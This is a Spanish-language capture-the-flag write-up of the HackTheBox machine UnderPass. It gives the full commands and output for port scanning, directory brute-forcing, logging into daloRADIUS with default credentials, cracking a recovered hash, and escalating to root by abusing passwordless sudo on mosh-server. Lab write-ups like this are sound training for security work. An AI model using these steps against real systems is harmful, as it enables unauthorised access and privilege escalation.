UnderPass - HTB UnderPass - HTB

UnderPass - HTB

Introducción

UnderPass es una máquina Linux clasificado como fácil en HackTheBox. El proceso para resolverla se puede resumir en:

  • Reconocimiento y Enumeración:
    Realicé un escaneo de puertos con Nmap, identificando un servicio web corriendo en el puerto 80. Aplicando fuerza bruta a la URL logre dar con dos portales de inicio de sesión del servicio DaloRADIUS.
  • Explotación de Vulnerabilidades:
    Después de un poco de investigación sobre el servicio, logré acceder al portal de administración utilizando credenciales predeterminadas (lo cual es resultado de una mala configuración del servicio). Dentro de este panel, encontré credenciales válidas para autenticarme vía SSH.
  • Acceso Inicial y Escalada de Privilegios:
    Una vez dentro del sistema como usuario estándar, descubrí un binario con permisos SUID que podía ejecutarse como root sin contraseña. Al ejecutarlo, el binario te generaba una contraseña y te arrojaba un puerto para conectarte localmente. Utilizando esta información, establecí una conexión que me otorgó una shell con privilegios de root, completando la máquina.

Reconocimiento y Enumeración

Nmap

Realicé un escaneo inicial con nmap para identificar servicios activos:

Terminal window
zynth3t1k@n00n3$ nmap -sS -p- --min-rate 10000 10.10.11.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 12:54 CDT
Nmap scan report for 10.10.11.48
Host is up (0.083s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds

Solo encontre dos puertos abierto, a los que les realicé un escaneo más detallado:

Terminal window
zynth3t1k@n00n3$ nmap -sS -p22,80 -sVC --min-rate 10000 10.10.11.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-09 12:55 CDT
Nmap scan report for 10.10.11.48
Host is up (0.081s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.50 seconds

El puerto 80 mostraba la página predeterminada de Apache, que registré en mi archivo /etc/hosts para facilitar el acceso.

Página web

Al visitar la página, solo encontré la configuración inicial de Apache:

UnderPassWeb

Gobuster

Aplique fuerza bruta en la url usando gobuster y una wordlist de SecLists:

Terminal window
zynth3t1k@n00n3$ gobuster dir -u http://underpass.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/daloradius (Status: 301) [Size: 319] [--> http://underpass.htb/daloradius/]
/index.html (Status: 200) [Size: 10671]
/server-status (Status: 403) [Size: 278]
Progress: 4745 / 4746 (99.98%)
===============================================================
Finished
===============================================================

El directorio /daloradius llamó mi atención. Al investigar, descubrí que DaloRADIUS es un servicio de gestión para páginas web, cuyo repositorio está en GitHub. Identifiqué su estructura de directorios y apliqué fuerza bruta nuevamente:

Terminal window
zynth3t1k@n00n3$ gobuster dir -u http://underpass.htb/daloradius/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/daloradius/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.gitignore (Status: 200) [Size: 221]
/.hta (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/ChangeLog (Status: 200) [Size: 24703]
/LICENSE (Status: 200) [Size: 18011]
/app (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/contrib (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/doc (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/library (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/setup (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
Progress: 4745 / 4746 (99.98%)
===============================================================
Finished
===============================================================

Este resultado confirma mi suposición, ya que nos muestra la misma estructura del repositorio. Cuando analicé este en el paso anterior, me resultaron interesantes dos archivos login.php, situados en:

  • /dolaradius/app/users/login.php
  • /dolaradius/app/operators/login.php

DaloRADIUS

Los portales de inicio de sesión se veían así respectivamente:

Users

Operators

Explotación de Vulnerabilidades

Credenciales predeterminadas

Investigué y encontré que el servicio tiene credenciales predeterminadas:

DaloRADIUS Creds

Estas credenciales solo funcionaron en el panel /dolaradius/app/operators/login.php, mostrando:

DaloRADIUS Panel

En la lista de usuarios, encontré al usuario svcMosh:

svcMosh

El apartado de contraseña contenía un hash, confirmado en Check Attributes:

svcMosh Passwd

Hash Cracking

Usé CrackStation por practicidad (en un escenario real, recomiendo herramientas offline para evitar filtraciones):

CrackStation

Esto nos deja con las credenciales svcMosh:underwaterfriends.

Acceso Inicial y Escalada de Privilegios

SSH

Recordando que el servicio SSH estaba abierto, ingresé las credenciales encontradas y obtuve una shell como usuario:

Terminal window
zynth3t1k@n00n3$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri May 9 07:00:47 PM UTC 2025
System load: 0.02 Processes: 230
Usage of /: 50.8% of 6.56GB Users logged in: 2
Memory usage: 11% IPv4 address for eth0: 10.10.11.48
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 9 18:48:53 2025 from 10.10.14.240
svcMosh@underpass:~$

User Flag

Dentro del sistema, encontré la primera flag:

Terminal window
svcMosh@underpass:~$ ls
user.txt

PrivEsc

Usando el script LinEnum.sh encontré un binario ejecutable como root sin contraseña (también detectable con sudo -l):

Terminal window
[-] Super user account(s):
root
[+] We can sudo without supplying a password!
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server

Al ejecutarlo, mostró:

Terminal window
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60003 BMlZxwpKuLdAd8Pfa6lktQ
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <[email protected]>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 2978]

Investigando, descubrí que la línea MOSH CONNECT proporciona el puerto y la clave para conectarse al servicio:

Terminal window
svcMosh@underpass:~$ MOSH_KEY=BMlZxwpKuLdAd8Pfa6lktQ mosh-client 127.0.0.1 60003

Esto me otorgó una shell como root:

Terminal window
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri May 9 07:17:03 PM UTC 2025
System load: 0.05 Processes: 242
Usage of /: 51.8% of 6.56GB Users logged in: 2
Memory usage: 17% IPv4 address for eth0: 10.10.11.48
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
root@underpass:~#

Root Flag

Finalmente, encontré la flag de root:

Terminal window
root@underpass:~# ls
root.txt

← Regresar al blog